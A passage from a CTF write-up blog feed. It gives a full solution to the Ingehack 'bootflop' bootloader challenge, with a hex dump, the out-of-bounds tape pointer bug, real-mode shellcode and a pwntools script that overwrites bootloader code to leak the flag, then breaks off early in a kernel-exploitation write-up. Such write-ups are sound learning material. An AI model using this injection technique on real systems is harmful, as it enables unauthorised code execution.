&lt;p>after running it i get the flag: &lt;code>.;,;,{we_ought_to_start_storing_our_data_as_dna_instead}&lt;/code>&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/smileyctf2025-dna/</guid><pubDate>Mon, 16 Jun 2025 00:00:00 +0000</pubDate></item><item><title>bootflop chall writeup from ingehack 4.0</title><link>https://nothoudaifa.github.io/posts/ingehack-bootflop/</link><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">challenge&lt;/span> &lt;span style="color:#111">author&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">itskarudo&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">points&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#ae81ff">493&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">desc&lt;/span>&lt;span style="color:#111">:&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#111">love&lt;/span> &lt;span style="color:#111">esolangs&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#111">love&lt;/span> &lt;span style="color:#111">bootloaders&lt;/span>&lt;span style="color:#111">.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this challenge gives a custom bootloader that you have to exploit.&lt;/p>
&lt;p>we are given two files &lt;a href="http://run.sh">run.sh&lt;/a> and bootflop.img (which is the bootloader image)&lt;/p>
&lt;p>first thing i did was running xxd on bootflop.img:&lt;/p>
&lt;pre tabindex="0">&lt;code>00000000: fc31 d2c7 0622 7d26 7dbf 567d c706 247d .1...&amp;#34;}&amp;amp;}.V}..$}
00000010: 567d b03e e8f8 00b0 20e8 f300 e8f5 003c V}.&amp;gt;.... ......&amp;lt;
00000020: 7f74 0baa 3c0d 741e 3c0a 741a ebee 81ff .t..&amp;lt;.t.&amp;lt;.t.....
00000030: 567d 74e8 4fb0 08e8 d500 b020 e8d0 00b0 V}t.O...... ....
00000040: 08e8 cb00 ebd6 b00a e8c4 00ff 0e24 7dff .............$}.
00000050: 0624 7d8b 3624 7d80 3c2b 742a 803c 2d74 .$}.6$}.&amp;lt;+t*.&amp;lt;-t
00000060: 2d80 3c3e 7430 803c 3c74 3180 3c2e 7432 -.&amp;lt;&amp;gt;t0.&amp;lt;&amp;lt;t1.&amp;lt;.t2
00000070: 803c 2c74 3880 3c5b 7443 803c 5d74 66b0 .&amp;lt;,t8.&amp;lt;[tC.&amp;lt;]tf.
00000080: 0ae8 8b00 eb83 8b36 227d fe04 ebc1 8b36 .......6&amp;#34;}.....6
00000090: 227d fe0c ebb9 ff06 227d ebb3 ff0e 227d &amp;#34;}......&amp;#34;}....&amp;#34;}
000000a0: ebad 8b36 227d 8a04 e864 00eb a2e8 6400 ...6&amp;#34;}...d....d.
000000b0: 8b36 227d 8804 b00a e854 00eb 928b 3622 .6&amp;#34;}.....T....6&amp;#34;
000000c0: 7d80 3c00 7589 b901 00ff 0624 7d8b 3624 }.&amp;lt;.u......$}.6$
000000d0: 7d80 3c5b 7501 4180 3c5d 7501 4983 f900 }.&amp;lt;[u.A.&amp;lt;]u.I...
000000e0: 75e7 e96a ff8b 3622 7d80 3c00 0f84 5fff u..j..6&amp;#34;}.&amp;lt;..._.
000000f0: b901 00ff 0e24 7d8b 3624 7d80 3c5d 7501 .....$}.6$}.&amp;lt;]u.
00000100: 4180 3c5b 7501 4983 f900 75e7 e940 ffba A.&amp;lt;[u.I...u..@..
00000110: f803 eec3 bafd 03ec a801 74f8 80ea 05ec ..........t.....
00000120: eec3 0000 0000 0000 0000 0000 0000 0000 ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U.
00000200: 696e 6765 6861 636b 7b66 616b 655f 666c ingehack{fake_fl
00000210: 6167 7d ag}
&lt;/code>&lt;/pre>&lt;p>we can see that the flag is at 0x200, from my experience in writing a simple bootloader i knew that:&lt;/p>
&lt;ul>
&lt;li>only the first 0x200 (the &lt;a href="https://wiki.osdev.org/Boot_Sequence#Master_Boot_Record">bootsector&lt;/a>) bytes of the image will be loaded at 0x7c00.&lt;/li>
&lt;li>to read the rest of the image (the flag) i need to read from the disk using bios interrupts, which means i need to be able to run my own shellcode.&lt;/li>
&lt;/ul>
&lt;p>after that, i disassembled the bootloader image using&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>objdump -D -b binary -m i8086 bootflop.img -M intel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>i gave the disassembly to chatgpt, and it told me&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>- this program is Brainfuck interpreter.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- 0x7D22 is initialized as a pointer to the memory tape.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- 0x7D24 is initialized as a pointer to the input program.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- it continuously reads and executes Brainfuck commands.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- it uses serial ports &lt;span style="color:#f92672">(&lt;/span>which are mapped to stdio in run.sh&lt;span style="color:#f92672">)&lt;/span> to input and output data
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- it has &lt;span style="color:#ae81ff">8&lt;/span> commands:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> + &lt;span style="color:#f92672">(&lt;/span>0x2B&lt;span style="color:#f92672">)&lt;/span>: Increments the byte at the current memory cell.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">(&lt;/span>0x2D&lt;span style="color:#f92672">)&lt;/span>: Decrements the byte at the current memory cell.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;gt; &lt;span style="color:#f92672">(&lt;/span>0x3E&lt;span style="color:#f92672">)&lt;/span>: Moves the pointer to the right.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt; &lt;span style="color:#f92672">(&lt;/span>0x3C&lt;span style="color:#f92672">)&lt;/span>: Moves the pointer to the left.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> . &lt;span style="color:#f92672">(&lt;/span>0x2E&lt;span style="color:#f92672">)&lt;/span>: Outputs the byte at the current memory cell.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> , &lt;span style="color:#f92672">(&lt;/span>0x2C&lt;span style="color:#f92672">)&lt;/span>: Inputs a byte and stores it at the current memory cell.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">[&lt;/span> &lt;span style="color:#f92672">(&lt;/span>0x5B&lt;span style="color:#f92672">)&lt;/span>: Loops &lt;span style="color:#00a8c8">while&lt;/span> the current memory cell is nonzero.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">(&lt;/span>0x5D&lt;span style="color:#f92672">)&lt;/span>: Jumps back to the matching &lt;span style="color:#f92672">[&lt;/span> &lt;span style="color:#00a8c8">if&lt;/span> the memory cell is nonzero.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="the-vulnerability">The vulnerability:&lt;/h2>
&lt;p>the vulnerability lies in the &amp;lt; and &amp;gt; commands, the bootloader does not check if we go out of bounds of the memory tape (which starts at 0x7d26, check assembly), we can write into bootloader executable code and it will run just fine.&lt;/p>
&lt;h2 id="exploitation">Exploitation:&lt;/h2>
&lt;p>the exploitation part is simple, write shellcode into memory, then write (or overwrite) a jmp instruction so it jumps to our shellcode.&lt;/p>
&lt;p>using chatgpt i got the following shellcode that reads the sector (which is the flag) into 0x7a00 then outputs it to serial com1&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nasm" data-lang="nasm">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">org&lt;/span> &lt;span style="color:#ae81ff">0x7C00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">ah&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x02&lt;/span> &lt;span style="color:#75715e">; BIOS read sector function&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">al&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x01&lt;/span> &lt;span style="color:#75715e">; Read 1 sector&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">ch&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span> &lt;span style="color:#75715e">; Cylinder 0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">cl&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x02&lt;/span> &lt;span style="color:#75715e">; Sector 2 (1-based index)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">dh&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x00&lt;/span> &lt;span style="color:#75715e">; Head 0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">dl&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x80&lt;/span> &lt;span style="color:#75715e">; Drive 0x80 (first hard disk)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">bx&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x7a0&lt;/span> &lt;span style="color:#75715e">; Load sector into 0x7a00&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">es&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">bx&lt;/span> &lt;span style="color:#75715e">; Set ES to 0x7a0 (this is a segment to it will be multiplied by 0x10)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">bx&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0000&lt;/span> &lt;span style="color:#75715e">; Offset within segment (zero to read the whole flag)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">int&lt;/span> &lt;span style="color:#ae81ff">0x13&lt;/span> &lt;span style="color:#75715e">; Call BIOS interrupt&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">si&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0010&lt;/span> &lt;span style="color:#75715e">; flag offset &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">dx&lt;/span>&lt;span style="color:#111">,&lt;/span>&lt;span style="color:#ae81ff">0x3f8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">mov&lt;/span> &lt;span style="color:#111">al&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">byte&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">es&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">si&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">out&lt;/span> &lt;span style="color:#111">dx&lt;/span>&lt;span style="color:#111">,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">; does not matter what happens after this&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>as you can see, this only prints one char, that’s because in the ctf i wrote my shellcode into the memory tape, which was not that long and i couldn’t fit a loop in it (i know i could have wrote it somewhere else), so what i did was output one char at a time and keep overwriting the offset in python so it would print the next char in each connection.&lt;/p>
&lt;p>here is the python script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">from&lt;/span> &lt;span style="color:#111">pwn&lt;/span> &lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#f92672">*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">off&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x100&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">remote&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;bootflop.ctf.ingeniums.club&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1337&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">ssl&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#00a8c8">True&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">win&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;win.bin&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#34;rb&amp;#34;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">read&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">win&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">win&lt;/span>&lt;span style="color:#111">[:&lt;/span>&lt;span style="color:#ae81ff">0x17&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">off&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">to_bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;little&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">win&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0x18&lt;/span>&lt;span style="color:#111">:]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;gt;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">win&lt;/span>&lt;span style="color:#111">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;gt;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;+&amp;#39;&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">win&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">sendline&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">payload&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;lt;&amp;#39;&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">len&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">win&lt;/span>&lt;span style="color:#111">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">sendline&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">payload&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;lt;&amp;#39;&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#ae81ff">0x110&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;+&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;lt;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;-&amp;#39;&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0xf8&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">0x11&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">sendlineafter&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&amp;gt;&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">payload&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">p&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">recvall&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">timeout&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">flag&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#111">chr&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">print&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">flag&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>flag: &lt;code>ingehack{debugging_real_mode_apps_sucks_man}&lt;/code>
yup it definitely sucked, gdb does not even disassemble it properly.&lt;/p></description><author>nothoudaifa</author><guid>https://nothoudaifa.github.io/posts/ingehack-bootflop/</guid><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate></item><item><title>zero chall writeup from ingehack 4.0</title><link>https://nothoudaifa.github.io/posts/ingehack-zero/</link><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-jsx" data-lang="jsx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">challenge&lt;/span> &lt;span style="color:#75af00">author&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#75af00">itskarudo&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">points&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">469&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">desc&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#75af00">translation&lt;/span> &lt;span style="color:#75af00">services&lt;/span> &lt;span style="color:#75af00">are&lt;/span> &lt;span style="color:#75af00">so&lt;/span> &lt;span style="color:#75af00">slow&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#75af00">i&lt;/span> &lt;span style="color:#75af00">want&lt;/span> &lt;span style="color:#75af00">a&lt;/span> &lt;span style="color:#75af00">zero&lt;/span> &lt;span style="color:#75af00">latency&lt;/span> &lt;span style="color:#75af00">translator&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#75af00">all&lt;/span> &lt;span style="color:#75af00">my&lt;/span> &lt;span style="color:#75af00">important&lt;/span> &lt;span style="color:#75af00">business&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#75af00">so&lt;/span> &lt;span style="color:#75af00">i&lt;/span> &lt;span style="color:#75af00">made&lt;/span> &lt;span style="color:#75af00">one&lt;/span> &lt;span style="color:#75af00">myself&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#75af00">right&lt;/span> &lt;span style="color:#00a8c8">in&lt;/span> &lt;span style="color:#75af00">the&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">kernel&lt;/span>&lt;span style="color:#111">.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this is a kernel exploitation challenge, we are given three files run.sh, initramfs.cpio.gz, bzImage.&lt;/p>
&lt;p>looking at run.sh:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/sh
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>qemu-system-x86_64 &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -m 128M &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -nographic &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -kernel &lt;span style="color:#d88200">&amp;#34;./bzImage&amp;#34;&lt;/span> &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -append &lt;span style="color:#d88200">&amp;#34;console=ttyS0 quiet loglevel=3 pti=on nokaslr&amp;#34;&lt;/span> &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -monitor /dev/null &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -initrd &lt;span style="color:#d88200">&amp;#34;./initramfs.cpio.gz&amp;#34;&lt;/span> &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -cpu qemu64,+smep &lt;span style="color:#8045ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8045ff">&lt;/span> -smp &lt;span style="color:#111">cores&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can see that kaslr is not activated and only &lt;a href="https://en.wikipedia.org/wiki/Control_register#SMEP">smep&lt;/a> is on.&lt;/p>
&lt;p>after extracting initramfs.cpio.gz it has:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>bin chal.ko dev etc exploit home init linuxrc mnt proc root sbin sys usr var
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>there are two important files.&lt;/p>
&lt;p>init:&lt;/p>
